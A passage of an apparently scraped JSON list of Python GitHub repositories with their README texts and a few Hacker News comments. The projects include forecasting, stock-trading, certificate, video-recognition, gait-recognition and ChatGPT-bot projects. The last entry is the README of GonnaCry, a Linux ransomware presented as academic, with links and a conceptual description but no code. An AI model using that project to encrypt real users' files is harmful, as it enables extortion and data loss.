http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Jenniferz28/Time-Series-ARIMA-XGBOOST-RNN", "link": "https://github.com/Jenniferz28/Time-Series-ARIMA-XGBOOST-RNN", "tags": [], "stars": 511, "description": "Time series forecasting for individual household power prediction: ARIMA, xgboost, RNN", "lang": "Python", "repo_lang": "", "readme": "# Time Series Prediction for Individual Household Power\nDateset: https://archive.ics.uci.edu/ml/datasets/individual+household+electric+power+consumption\n\nThe data was collected with a one-minute sampling rate over a period between Dec 2006\nand Nov 2010 (47 months) were measured. Six independent variables (electrical quantities and sub-metering values) a numerical dependent variable Global active power with 2,075,259 observations are available. Our goal is to predict the Global active power into the future.\n\nHere, missing values are dropped for simplicity. Furthermore, we find that not all observations are ordered by the date time. Therefore we analyze the data with explicit time stamp as an index. In the preprocessing step, we perform a bucket-average of the raw data to reduce the noise from the one-minute sampling rate. For simplicity, we only focus on the last 18000 rows of raw dataset (the most recent data in Nov 2010).\n\n### A list of python files:\n+ *Gpower_Arima_Main.py* :  The **executable** python program of a univariate ARIMA model.\n+ myArima.py : implements a class with some callable methods used for the ARIMA model.\n+ *Gpower_Xgb_Main.py* : The **executable** python program of a tree based model (xgboost).\n+ myXgb.py : implements some functions used for the xgboost model.\n+ *lstm_Main.py* : The **executable** python program of a LSTM model.\n+ lstm.py : implements a class of a time series model using an LSTMCell. The credit should go to https://github.com/hzy46/TensorFlow-Time-Series-Examples/blob/master/train_lstm.py\n+ util.py : implements various functions for data preprocessing.\n+ Exploratory_analysis.py : exploratory analysis and plots of data.\n```diff\n+ Environment : Python 3.6, TensorFlow1.4.\n```\n### Here, I used 3 different approaches to model the pattern of power consumption.\n- **Univariate time series ARIMA**.(30-min average was applied on the data to reduce noise.)\n![onestep](https://user-images.githubusercontent.com/25689659/34470019-001ea4e0-eef7-11e7-822a-5a5132e8ca75.png)\n![dynamic](https://user-images.githubusercontent.com/25689659/34470018-0011600a-eef7-11e7-89df-79372c49a791.png)\n![forecast](https://user-images.githubusercontent.com/25689659/34470017-0004e848-eef7-11e7-9148-abfb62f95dcc.png)\n- **Regression tree-based xgboost**.(5-min average was performed.) \n![xgbManual](https://user-images.githubusercontent.com/25689659/34470022-00463b90-eef7-11e7-8a3c-d80df291f7d6.png)\n- **Recurrent neural network univariate LSTM (long short-term memoery) model**. (15-min average was performed to reduce the noise.)\n![predict_result](https://user-images.githubusercontent.com/25689659/34470791-a5047402-ef07-11e7-9111-ff1da558b6e1.png)\n\n### Possible approaches to do in the future work:\n#### (i) Dynamic Regression Time Series Model\nGiven the strong correlations between Sub metering 1, Sub metering 2 and Sub metering 3 and our target variable, \nthese variables could be included into the dynamic regression model or regression time series model.\n\n#### (ii) Dynamic Xgboost Model\nInclude the timestep-shifted Global active power columns as features. The target variable will be current Global active power. \nRecent history of Global active power up to this time stamp (say, from 100 timesteps before) should be included\nas extra features.\n\n#### (iii) Multivariate LSTM\nInclude the features per timestamp Sub metering 1, Sub metering 2 and Sub metering 3, date, time and our target variable into the RNNCell for the multivariate time-series LSTM model.\n![multivariate](https://user-images.githubusercontent.com/25689659/35536009-86ac3612-0513-11e8-9ccd-4311dff198ee.png)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "yacoubb/stock-trading-ml", "link": "https://github.com/yacoubb/stock-trading-ml", "tags": ["stock-trading", "machine-learning", "price-predictions", "neural-network", "deep-learning", "time-series", "lstm"], "stars": 511, "description": "A stock trading bot that uses machine learning to make price predictions.", "lang": "Python", "repo_lang": "", "readme": "# Stock Trading with Machine Learning\n\n## Overview\n\nA stock trading bot that uses machine learning to make price predictions.\n\n## Requirements\n\n-   Python 3.5+\n-   alpha_vantage\n-   pandas\n-   numpy\n-   sklearn\n-   keras\n-   tensorflow\n-   matplotlib\n\n## Documentation\n\n[Blog Post](https://yacoubahmed.me/blog/stock-prediction-ml)\n\n[Medium Article](https://medium.com/towards-data-science/getting-rich-quick-with-machine-learning-and-stock-market-predictions-696802da94fe)\n\n## Train your own model\n\n1. Clone the repo\n2. Pip install the requirements `pip install -r requirements.txt`\n3. Save the stock price history to a csv file `python save_data_to_csv.py --help`\n4. Edit one of the model files to accept the symbol you want\n5. Edit model architecture\n6. Edit dataset preprocessing / history_points inside util.py\n7. Train the model `python tech_ind_model.py` or `python basic_model.py`\n8. Try the trading algorithm on the newly saved model `python trading_algo.py`\n\n## License\n\n[GPL-3.0](https://www.gnu.org/licenses/quick-guide-gplv3.html)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "adferrand/dnsrobocert", "link": "https://github.com/adferrand/dnsrobocert", "tags": ["docker", "letsencrypt", "lexicon", "dns", "dns-challenge", "ssl-certificate", "certbot", "ssl"], "stars": 511, "description": "Orchestrate Certbot and Lexicon together to provide Let's Encrypt TLS certificates validated by DNS challenges", "lang": "Python", "repo_lang": "", "readme": "======\n|logo|\n======\n\n|version| |python_support| |docker| |ci| |coverage|\n\n.. |logo| image:: https://adferrand.github.io/dnsrobocert/images/dnsrobocert.svg\n    :alt: DNSroboCert\n.. |version| image:: https://img.shields.io/pypi/v/dnsrobocert\n    :target: https://pypi.org/project/dnsrobocert/\n.. |python_support| image:: https://img.shields.io/pypi/pyversions/dnsrobocert\n    :target: https://pypi.org/project/dnsrobocert/\n.. |docker| image:: https://img.shields.io/docker/pulls/adferrand/dnsrobocert\n    :target: https://hub.docker.com/r/adferrand/dnsrobocert\n.. |ci| image:: https://img.shields.io/github/workflow/status/adferrand/dnsrobocert/main/master\n    :target: https://github.com/adferrand/dnsrobocert/actions/workflows/main.yml\n.. |coverage| image:: https://img.shields.io/codecov/c/github/adferrand/dnsrobocert/master\n    :target: https://app.codecov.io/gh/adferrand/dnsrobocert/branch/master\n\n.. tag:intro-begin\n\n.. contents:: Table of Contents\n   :local:\n\nFeatures\n========\n\nDNSroboCert is designed to manage `Let's Encrypt`_ SSL certificates based on `DNS challenges`_.\n\n* Let's Encrypt wildcard and regular certificates generation by Certbot_ using DNS challenges,\n* Integrated automated renewal of almost expired certificates,\n* Standardized API through Lexicon_ library to insert the DNS challenge with various DNS providers,\n* Centralized YAML configuration file to maintain several certificates and several DNS providers\n  with configuration validity control,\n* Modification of container configuration without restart,\n* Flexible hooks upon certificate creation/renewal including containers restart, commands in containers\n  or custom hooks,\n* Support for `DNS alias mode`_ (see the ``follow_cnames`` option in the `certificate section`_),\n* Linux, Mac OS X and Windows support, with a particular care for Docker services,\n* Delivered as a standalone application and a Docker image.\n\n.. _DNS alias mode: https://github.com/acmesh-official/acme.sh/wiki/DNS-alias-mode\n.. _certificate section: https://dnsrobocert.readthedocs.io/en/latest/configuration_reference.html#certificate-properties\n\nWhy use DNSroboCert\n===================\n\nIf you are reading these lines, you certainly want to secure all your services using Let's Encrypt SSL\ncertificates, which are free and accepted everywhere.\n\nIf you want to secure Web services through HTTPS, there is already plenty of great tools. In the Docker\nworld, one can check Traefik_, or nginx-proxy_ + letsencrypt-nginx-proxy-companion_. Basically, theses tools\nwill allow automated and dynamic generation/renewal of SSL certificates, based on TLS or HTTP challenges,\non top of a reverse proxy to encrypt everything through HTTPS.\n\nSo far so good, but you may fall in one of the following categories:\n\n1. You are in a firewalled network, and your HTTP/80 and HTTPS/443 ports are not opened to the outside world.\n2. You want to secure non-Web services (like LDAP, IMAP, POP, etc.) were the HTTPS protocol is of no use.\n3. You want to generate a wildcard certificate, valid for any sub-domain of a given domain.\n\nFor the first case, ACME servers need to be able to access your website through HTTP (for HTTP challenges)\nor HTTPS (for TLS challenges) in order to validate the certificate. With a firewall these two challenges -\nwhich are widely used in HTTP proxy approaches - will not be usable: you need to ask a DNS challenge.\nPlease note that traefik embed DNS challenges, but only for few DNS providers.\n\nFor the second case, there is no website to use TLS or HTTP challenges, and you should ask a DNS challenge.\nOf course you could create a \"fake\" website to validate the domain using a HTTP challenge, and reuse the\ncertificate on the \"real\" service. But it is a workaround, and you have to implement a logic to propagate\nthe certificate, including during its renewal. Indeed, most of the non-Web services will need to be\nrestarted each time the certificate is renewed.\n\nFor the last case, the use of a DNS challenge is mandatory. Then the problems concerning certificates\npropagation that have been discussed in the second case will also occur.\n\nThe solution is a dedicated and specialized tool which handles the creation/renewal of Let's Encrypt\ncertificates, and ensure their propagation in the relevant services. It is the purpose of\nthis project.\n\n.. _Let's Encrypt: https://letsencrypt.org/\n.. _DNS challenges: https://tools.ietf.org/html/draft-ietf-acme-acme-01#page-44\n.. _Certbot: https://github.com/certbot/certbot\n.. _Lexicon: https://github.com/AnalogJ/lexicon\n.. _Traefik: https://hub.docker.com/_/traefik/\n.. _nginx-proxy: https://hub.docker.com/r/jwilder/nginx-proxy/\n.. _letsencrypt-nginx-proxy-companion: https://hub.docker.com/r/jrcs/letsencrypt-nginx-proxy-companion/\n\n.. tag:intro-end\n\nDocumentation\n=============\n\nOnline documentation (user guide, configuration reference) is available in the `DNSroboCert documentation`_.\n\nFor a quick start, please have a look in particular at the `User guide`_ and the `Lexicon provider configuration`_.\n\nSupport\n=======\n\nDo not hesitate to join the `DNSroboCert community on Spectrum`_ if you need help to use or develop DNSroboCert!\n\nContributing\n============\n\nIf you want to help in the DNSroboCert development, you are welcome!\nPlease have a look at the `Developer guide`_ page to know how to start.\n\n.. _DNSroboCert documentation: https://dnsrobocert.readthedocs.io\n.. _User guide: https://dnsrobocert.readthedocs.io/en/latest/user_guide.html\n.. _Lexicon provider configuration: https://dnsrobocert.readthedocs.io/en/latest/providers_options.html\n.. _Developer guide: https://dnsrobocert.readthedocs.io/en/latest/developer_guide.html\n.. _DNSroboCert community on Spectrum: https://spectrum.chat/dnsrobocert\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "bryanyzhu/two-stream-pytorch", "link": "https://github.com/bryanyzhu/two-stream-pytorch", "tags": ["action-recognition", "pytorch", "two-stream", "video"], "stars": 510, "description": "PyTorch implementation of  two-stream networks for video action recognition", "lang": "Python", "repo_lang": "", "readme": "# PyTorch implementation of popular two-stream frameworks for video action recognition\n\nCurrent release is the PyTorch implementation of the \"Towards Good Practices for Very Deep Two-Stream ConvNets\". You can refer to paper for more details at [Arxiv](https://arxiv.org/abs/1507.02159).\n\nIf you find this implementation useful in your work, please acknowledge it appropriately and cite the paper or code accordingly:\n\n```\n@article{zhu_arxiv2020_comprehensiveVideo,\n  title={A Comprehensive Study of Deep Video Action Recognition},\n  author={Yi Zhu, Xinyu Li, Chunhui Liu, Mohammadreza Zolfaghari, Yuanjun Xiong, Chongruo Wu, Zhi Zhang, Joseph Tighe, R. Manmatha, Mu Li},\n  journal={arXiv preprint arXiv:2012.06567},\n  year={2020}\n}\n\n@inproceedings{wang_eccv2016_tsn,\n  title={Temporal Segment Networks: Towards Good Practices for Deep Action Recognition},\n  author={Limin Wang, Yuanjun Xiong, Zhe Wang, Yu Qiao, Dahua Lin, Xiaoou Tang, Luc Van Gool},\n  booktitle={European Conference on Computer Vision (ECCV)},\n  year={2016}\n}\n\n@inproceedings{zhu_accv2018_hidden,\n  title={Hidden Two-Stream Convolutional Networks for Action Recognition},\n  author={Yi Zhu, Zhenzhong Lan, Shawn Newsam, Alexander G. Hauptmann},\n  booktitle={Asian Conference on Computer Vision (ACCV)},\n  url={https://arxiv.org/abs/1704.00389}\n  year={2018}\n}\n```\n\nIf you are looking for a good-to-use codebase with a large model zoo, please checkout the video toolkit at [GluonCV](https://gluon-cv.mxnet.io/model_zoo/action_recognition.html). We have SOTA model implementations (TSN, I3D, NLN, SlowFast, etc.) for popular datasets (Kinetics400, UCF101, Something-Something-v2, etc.) in both PyTorch and MXNet. We also have accompaning [survey paper](https://arxiv.org/abs/2012.06567) and [video tutorial](https://bryanyzhu.github.io/videomodeling.github.io/).\n\n## Installation\n\nTested on PyTorch:\n```\nOS: Ubuntu 16.04\nPython: 3.5\nCUDA: 8.0\nOpenCV3\ndense_flow\n```\nTo successfully install [dense_flow](https://github.com/yjxiong/dense_flow/tree/opencv-3.1)(branch opencv-3.1), you probably need to install opencv3 with [opencv_contrib](https://github.com/opencv/opencv_contrib). (For opencv-2.4.13, dense_flow will be installed more easily without  opencv_contrib, but you should run code of this repository under opencv3 to avoid error)\n\nCode also works for Python 2.7.\n\n## Data Preparation\nDownload data [UCF101](http://crcv.ucf.edu/data/UCF101.php) and use `unrar x UCF101.rar` to extract the videos.\n\nConvert video to frames and extract optical flow\n```\npython build_of.py --src_dir ./UCF-101 --out_dir ./ucf101_frames --df_path <path to dense_flow>\n```\nbuild file lists for training and validation\n```\npython build_file_list.py --frame_path ./ucf101_frames --out_list_path ./settings\n```\n\n## Training\n\nFor spatial stream (single RGB frame), run:\n```\npython main_single_gpu.py DATA_PATH -m rgb -a rgb_resnet152 --new_length=1\n--epochs 250 --lr 0.001 --lr_steps 100 200\n```\n\nFor temporal stream (10 consecutive optical flow images), run:\n```\npython main_single_gpu.py DATA_PATH -m flow -a flow_resnet152\n--new_length=10 --epochs 350 --lr 0.001 --lr_steps 200 300\n```\n\n`DATA_PATH` is where you store RGB frames or optical flow images. Change the parameters passing to argparse as you need.\n\n## Testing\n\nGo into \"scripts/eval_ucf101_pytorch\" folder, run `python spatial_demo.py` to obtain spatial stream result, and run `python temporal_demo.py` to obtain temporal stream result. Change those label files before running the script.\n\nFor ResNet152, I can obtain a 85.60% accuracy for spatial stream and 85.71% for temporal stream on the split 1 of UCF101 dataset. The result looks promising.\n[Pre-trained RGB_ResNet152 Model](https://drive.google.com/open?id=1BU8TyW7u-skmkQFAVlQhA_5ZZvugZXAt)\n[Pre-trained Flow_ResNet152 Model](https://drive.google.com/open?id=1KPoPYAslsdOMXbtqfi2y8TTn7zDEz898)\n\nFor VGG16, I can obtain a 78.5% accuracy for spatial stream and 80.4% for temporal stream on the split 1 of UCF101 dataset. The spatial result is close to the number reported in original paper, but flow result is 5% away. There are several reasons, maybe the pretained VGG16 model in PyTorch is differnt from Caffe, maybe there are subtle bugs in my VGG16 flow model. Welcome any comments if you found the reason why there is a performance gap.\n[Pre-trained RGB_VGG16 Model](https://drive.google.com/open?id=1o-83QlDXN1EC4HVgNfJtDNvYCs72A26O)\n[Pre-trained Flow_VGG16 Model](https://drive.google.com/open?id=1mATFI0QAHj6OgzJLzw9fhXNH1kpzQmDo)\n\nI am experimenting with memory efficient DenseNet now, will release the code in a couple of days. Stay tuned.\n\n## Related Projects\n\n[TSN](https://github.com/yjxiong/temporal-segment-networks): Temporal Segment Networks: Towards Good Practices for Deep Action Recognition\n\n[Hidden Two-Stream](https://github.com/bryanyzhu/Hidden-Two-Stream): Hidden Two-Stream Convolutional Networks for Action Recognition\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ParthS007/background", "link": "https://github.com/ParthS007/background", "tags": ["python", "background-jobs", "background", "jobs", "tasks"], "stars": 510, "description": "Runs things in the background. ", "lang": "Python", "repo_lang": "", "readme": ".. image:: https://img.shields.io/pypi/pyversions/background.svg\n   :target: https://pypi.org/pypi/background\n\n.. image:: https://github.com/ParthS007/background/workflows/CI/badge.svg\n   :target: https://github.com/ParthS007/background/actions\n\nBackground\n=======================================\n\nIt runs stuff in the background.\n\n    \"An elegant decorator-based abstraction around Python 3's concurrent.futures ThreadPoolExecutor class\" \n\n    \u2014 Simon Willison\n\nThis module makes it stupidly simple to run things in the background of your\napplication, be it a CLI app, or a web app.\n\nBasic Usage\n-----------\n\n.. code:: python\n\n\n    import time\n\n    import background\n\n\n    @background.task\n    def work():\n        # Do something expensive here.\n        time.sleep(10)\n\n\n    for _ in range(100):\n        work()\n\n\nAdvanced Usage\n--------------\n\n.. code:: python\n\n    import time\n\n    import background\n\n    # Use 40 background threads.\n    background.n = 40\n    \n\n    @background.task\n    def work():\n        time.sleep(10)\n        return \"Done!\"\n\n    @background.callback\n    def work_callback(future):\n        print(future.result())\n\n\n    for _ in range(100):\n        work()\n\nInstallation\n------------\n\n::\n\n    $ pipenv install background\n    \u2728\ud83c\udf70\u2728\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "AbnerHqC/GaitSet", "link": "https://github.com/AbnerHqC/GaitSet", "tags": ["gait", "gait-recognition", "cross-view", "pytorch", "python3", "python"], "stars": 510, "description": "A flexible, effective and fast cross-view gait recognition network", "lang": "Python", "repo_lang": "", "readme": "# GaitSet\n\n[![LICENSE](https://img.shields.io/badge/license-NPL%20(The%20996%20Prohibited%20License)-blue.svg)](https://github.com/996icu/996.ICU/blob/master/LICENSE)\n[![996.icu](https://img.shields.io/badge/link-996.icu-red.svg)](https://996.icu)\n\nGaitSet is a **flexible**, **effective** and **fast** network for cross-view gait recognition. The [paper](https://ieeexplore.ieee.org/document/9351667) has been published on IEEE TPAMI.\n\n#### Flexible \nThe input of GaitSet is a set of silhouettes. \n\n- There are **NOT ANY constrains** on an input,\nwhich means it can contain **any number** of **non-consecutive** silhouettes filmed under **different viewpoints**\nwith **different walking conditions**.\n\n- As the input is a set, the **permutation** of the elements in the input\nwill **NOT change** the output at all.\n\n#### Effective\nIt achieves **Rank@1=95.0%** on [CASIA-B](http://www.cbsr.ia.ac.cn/english/Gait%20Databases.asp) \nand  **Rank@1=87.1%** on [OU-MVLP](http://www.am.sanken.osaka-u.ac.jp/BiometricDB/GaitMVLP.html),\nexcluding  identical-view cases.\n\n#### Fast\nWith 8 NVIDIA 1080TI GPUs, it only takes **7 minutes** to conduct an evaluation on\n[OU-MVLP](http://www.am.sanken.osaka-u.ac.jp/BiometricDB/GaitMVLP.html) which contains 133,780 sequences\nand average 70 frames per sequence.\n\n## What's new\nThe code and checkpoint for OUMVLP dataset have been released.\nSee [OUMVLP](#oumvlp) for details.\n\n## Prerequisites\n\n- Python 3.6\n- PyTorch 0.4+\n- GPU\n\n\n## Getting started\n### Installation\n\n- (Not necessary) Install [Anaconda3](https://www.anaconda.com/download/)\n- Install [CUDA 9.0](https://developer.nvidia.com/cuda-90-download-archive)\n- install [cuDNN7.0](https://developer.nvidia.com/cudnn)\n- Install [PyTorch](http://pytorch.org/)\n\nNoted that our code is tested based on [PyTorch 0.4](http://pytorch.org/)\n\n### Dataset & Preparation\nDownload [CASIA-B Dataset](http://www.cbsr.ia.ac.cn/english/Gait%20Databases.asp)\n\n**!!! ATTENTION !!! ATTENTION !!! ATTENTION !!!**\n\nBefore training or test, please make sure you have prepared the dataset\nby this two steps:\n- **Step1:** Organize the directory as: \n`your_dataset_path/subject_ids/walking_conditions/views`.\nE.g. `CASIA-B/001/nm-01/000/`.\n- **Step2:** Cut and align the raw silhouettes with `pretreatment.py`.\n(See [pretreatment](#pretreatment) for details.)\nWelcome to try different ways of pretreatment but note that\nthe silhouettes after pretreatment **MUST have a size of 64x64**.\n\nFuthermore, you also can test our code on [OU-MVLP Dataset](http://www.am.sanken.osaka-u.ac.jp/BiometricDB/GaitMVLP.html).\nThe number of channels and the training batchsize is slightly different for this dataset.\nFor more detail, please refer to [our paper](https://arxiv.org/abs/1811.06186).\n\n#### Pretreatment\n`pretreatment.py` uses the alignment method in\n[this paper](https://ipsjcva.springeropen.com/articles/10.1186/s41074-018-0039-6).\nPretreatment your dataset by\n```\npython pretreatment.py --input_path='root_path_of_raw_dataset' --output_path='root_path_for_output'\n```\n- `--input_path` **(NECESSARY)** Root path of raw dataset.\n- `--output_path` **(NECESSARY)** Root path for output.\n- `--log_file` Log file path. #Default: './pretreatment.log'\n- `--log` If set as True, all logs will be saved. \nOtherwise, only warnings and errors will be saved. #Default: False\n- `--worker_num` How many subprocesses to use for data pretreatment. Default: 1\n\n### Configuration \n\nIn `config.py`, you might want to change the following settings:\n- `dataset_path` **(NECESSARY)** root path of the dataset \n(for the above example, it is \"gaitdata\")\n- `WORK_PATH` path to save/load checkpoints\n- `CUDA_VISIBLE_DEVICES` indices of GPUs\n\n### Train\nTrain a model by\n```bash\npython train.py\n```\n- `--cache` if set as TRUE all the training data will be loaded at once before the training start.\nThis will accelerate the training.\n**Note that** if this arg is set as FALSE, samples will NOT be kept in the memory\neven they have been used in the former iterations. #Default: TRUE\n\n### Evaluation\nEvaluate the trained model by\n```bash\npython test.py\n```\n- `--iter` iteration of the checkpoint to load. #Default: 80000\n- `--batch_size` batch size of the parallel test. #Default: 1\n- `--cache` if set as TRUE all the test data will be loaded at once before the transforming start.\nThis might accelerate the testing. #Default: FALSE\n\nIt will output Rank@1 of all three walking conditions. \nNote that the test is **parallelizable**. \nTo conduct a faster evaluation, you could use `--batch_size` to change the batch size for test.\n\n#### OUMVLP\nSince the huge differences between OUMVLP and CASIA-B, the network setting on OUMVLP is slightly different.\n- The alternated network's code can be found at `./work/OUMVLP_network`. Use them to replace the corresponding files in `./model/network`.\n- The checkpoint can be found [here](https://1drv.ms/u/s!AurT2TsSKdxQuWN8drzIv_phTR5m?e=Gfbl3m).\n- In `./config.py`, modify `'batch_size': (8, 16)` into `'batch_size': (32,16)`.\n- Prepare your OUMVLP dataset according to the instructions in [Dataset & Preparation](#dataset--preparation).\n\n## To Do List\n- Transformation: The script for transforming a set of silhouettes into a discriminative representation.\n\n## Authors & Contributors\nGaitSet is authored by\n[Hanqing Chao](https://www.linkedin.com/in/hanqing-chao-9aa42412b/), \n[Yiwei He](https://www.linkedin.com/in/yiwei-he-4a6a6bbb/),\n[Junping Zhang](http://www.pami.fudan.edu.cn/~jpzhang/)\nand JianFeng Feng from Fudan Universiy.\n[Junping Zhang](http://www.pami.fudan.edu.cn/~jpzhang/)\nis the corresponding author.\nThe code is developed by\n[Hanqing Chao](https://www.linkedin.com/in/hanqing-chao-9aa42412b/)\nand [Yiwei He](https://www.linkedin.com/in/yiwei-he-4a6a6bbb/).\nCurrently, it is being maintained by\n[Hanqing Chao](https://www.linkedin.com/in/hanqing-chao-9aa42412b/)\nand Kun Wang.\n\n\n## Citation\nPlease cite these papers in your publications if it helps your research:\n```\n@ARTICLE{chao2019gaitset,\n  author={Chao, Hanqing and Wang, Kun and He, Yiwei and Zhang, Junping and Feng, Jianfeng},\n  journal={IEEE Transactions on Pattern Analysis and Machine Intelligence}, \n  title={GaitSet: Cross-view Gait Recognition through Utilizing Gait as a Deep Set}, \n  year={2021},\n  pages={1-1},\n  doi={10.1109/TPAMI.2021.3057879}}\n```\nLink to paper:\n- [GaitSet: Cross-view Gait Recognition through Utilizing Gait as a Deep Set](https://ieeexplore.ieee.org/document/9351667)\n\n\n## License\nGaitSet is freely available for free non-commercial use, and may be redistributed under these conditions.\nFor commercial queries, contact [Junping Zhang](http://www.pami.fudan.edu.cn/~jpzhang/).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "karfly/chatgpt_telegram_bot", "link": "https://github.com/karfly/chatgpt_telegram_bot", "tags": [], "stars": 516, "description": null, "lang": "Python", "repo_lang": "", "readme": "# ChatGPT Telegram Bot: **Fast. No daily limits. Special chat modes**\n\n<div align=\"center\">\n<img src=\"https://raw.githubusercontent.com/karfly/chatgpt_telegram_bot/main/static/header.png\" align=\"center\" style=\"width: 100%\" />\n</div>\n\n<p align=\"center\">\n<a href=\"https://t.me/chatgpt_karfly_bot\" alt=\"Run Telegram Bot shield\"><img src=\"https://img.shields.io/badge/RUN-Telegram%20Bot-blue\" /></a>\n</p>\n\nWe all love [chat.openai.com](https://chat.openai.com), but... It's TERRIBLY laggy, has daily limits, and is only accessible through an archaic web interface.\n\nThis repo is ChatGPT re-created with GPT-3.5 LLM as Telegram Bot. **And it works great.**\n\nYou can deploy your own bot, or use mine: [@chatgpt_karfly_bot](https://t.me/chatgpt_karfly_bot)\n\n## Features\n- Low latency replies (it usually takes about 3-5 seconds) \n- No request limits\n- Code highlighting\n- Special chat modes: \ud83d\udc69\ud83c\udffc\u200d\ud83c\udf93 Assistant, \ud83d\udc69\ud83c\udffc\u200d\ud83d\udcbb Code Assistant, \ud83c\udfac Movie Expert. More soon\n- List of allowed Telegram users\n- Track $ balance spent on OpenAI API\n\n## Bot commands\n- `/retry` \u2013 Regenerate last bot answer\n- `/new` \u2013 Start new dialog\n- `/mode` \u2013 Select chat mode\n- `/balance` \u2013 Show balance\n- `/help` \u2013 Show help\n\n## Setup\n1. Get your [OpenAI API](https://openai.com/api/) key\n\n2. Get your Telegram bot token from [@BotFather](https://t.me/BotFather)\n\n3. Edit `config/config.example.yml` to set your tokens and run 2 commands below (*if you're advanced user, you can also edit* `config/config.example.env`):\n```bash\nmv config/config.example.yml config/config.yml\nmv config/config.example.env config/config.env\n```\n\n\ud83d\udd25 And now **run**:\n\n```bash\ndocker-compose --env-file config/config.env up --build\n```\n\n## References\n1. [*Build ChatGPT from GPT-3*](https://learnprompting.org/docs/applied_prompting/build_chatgpt)\n", "readme_type": "markdown", "hn_comments": "The text-davinci-003 model is not GPT3.5, and this does not really replicate ChatGPT since that one is fine tuned based on human feedback.Edit: I stand corrected, sorry for Dunning - Krugering.<HN_SEP>Amazing, nice work!How hard would this be to port to MS Teams rather than Telegram?<HN_SEP>Prepending \u201cHi I\u2019m ChatGPT\u201d to the prompt of another model is hardly a recreation :/<HN_SEP>ChatGPT like assistants are going to be commodity that you can use on your devices, applications, home. Amazing times ahead in the next 2 years.<HN_SEP>Nice! I did something similar for WhatsApp: https://www.gpthotline.com/<HN_SEP>Ok, so OpenAI says that ChatGPT is GPT-3.5, but with extensive fine-tuning applied, based on a complex multi-stage feedback process with human evaluators.But at the same time, you can apparently just take the \"raw\" GPT-3.5, give it a prompt to behave like an assistant and get comparable results?So was the whole RLHF process just cargo cult?<HN_SEP>We all love chat.openai.com, but...It's TERRIBLY laggy, has daily limits, and is only accessible through an archaic web interface.This repo is ChatGPT re-created with GPT-3.5 LLM as Telegram Bot. And it works great.In addition it supports special modes like \"Code Assistant\" and \"Movie Expert\".<HN_SEP>Thanks for creating this, but ChatGPT is free and this replacement is not, right? (one needs to pay for API credit from OpenAI)<HN_SEP>Looking at the code, it looks like you're maintaining context by re-serializing all previous responses as \"ChatGPT\" and \"User.\" Out of curiosity, do you know that this is how chatgpt is done, or your take on it? I assumed from this tweet, there was more of a \"special sauce\" for maintaining chat context:https://twitter.com/OpenAI/status/1615160228366147585?s=20&t...<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tarcisio-marinho/GonnaCry", "link": "https://github.com/tarcisio-marinho/GonnaCry", "tags": ["ransomware", "ransomware-prevention", "ransom-worm", "malware", "malware-development", "malware-analysis", "linux-ransomware", "linux", "c", "python", "python-2", "cryptography", "crypto-library", "openssl", "encryption", "aes", "aes-encryption", "decryption", "rsa-cryptography", "rsa-key-encryption"], "stars": 510, "description": "A Linux Ransomware", "lang": "Python", "repo_lang": "", "readme": "# GonnaCry Rasomware\n\nOriginal Repository of the GonnaCry Ransomware.\n\nGonnaCry is a linux ransomware that encrypts all the user files with a strong encryption scheme.\n\nThis project is OpenSource, feel free to use, study and/or send pull request.\n\n\n[![Travis branch](https://img.shields.io/travis/rust-lang/rust/master.svg)](https://github.com/tarcisio-marinho/GonnaCry)\n[![Travis branch](https://img.shields.io/cran/l/devtools.svg)](https://github.com/tarcisio-marinho/GonnaCry/blob/master/LICENSE)\n[![Travis branch](https://img.shields.io/badge/made%20with-%3C3-red.svg)](https://github.com/tarcisio-marinho/GonnaCry)\n[![Travis branch](https://img.shields.io/github/stars/tarcisio-marinho/GonnaCry.svg)](https://github.com/tarcisio-marinho/GonnaCry/stargazers)\n    \n-------------\n\n**Ransomware Impact on industry**\n\nhttps://medium.com/@tarcisioma/how-can-a-malware-encrypt-a-company-existence-c7ed584f66b3\n\n**How this ransomware encryption scheme works:**\n\nhttps://medium.com/@tarcisioma/ransomware-encryption-techniques-696531d07bb9\n\n\n**How this ransomware works:**\n\nhttps://0x00sec.org/t/how-ransomware-works-and-gonnacry-linux-ransomware/4594\n\nhttps://medium.com/@tarcisioma/how-ransomware-works-and-gonnacry-linux-ransomware-17f77a549114\n\n\n**Mentions:**\n\nhttps://www.sentinelone.com/blog/sentinelone-detects-prevents-wsl-abuse/\n\nhttps://hackingvision.com/2017/07/18/gonnacry-linux-ransomware/\n\nhttps://www.youtube.com/watch?v=gSfa2L158Uw\n\n-------------\n\n# Disclaimer\n\nThis Ransomware mustn't be used to harm/threat/hurt other person's computer.\n\nIts purpose is only to share knowledge and awareness about Malware/Cryptography/Operating Systems/Programming.\n\nGonnaCry is an academic ransomware made for learning and awareness about security/cryptography.\n\n**Be aware running C/bin/GonnaCry or Python/GonnaCry/main.py Python/GonnaCry/bin/gonnacry in your computer, it may harm.**\n\n-------------\n\n# What's a Ransomware?\n\nA ransomware is a type of malware that prevents legitimate users from accessing\ntheir device or data and asks for a payment in exchange for the stolen functionality.\nThey have been used for mass extortion in various forms, but the\nmost successful one seems to be encrypting ransomware: most of the user data are\nencrypted and the key can be obtained paying the attacker.\nTo be widely successful a ransomware must fulfill three properties:\n\n**Property 1**: The hostile binary code must not contain any secret (e.g. deciphering\nkeys). At least not in an easily retrievable form, indeed white box cryptography\ncan be applied to ransomware.\n\n**Property 2**: Only the author of the attack should be able to decrypt the\ninfected device.\n\n**Property 3**: Decrypting one device can not 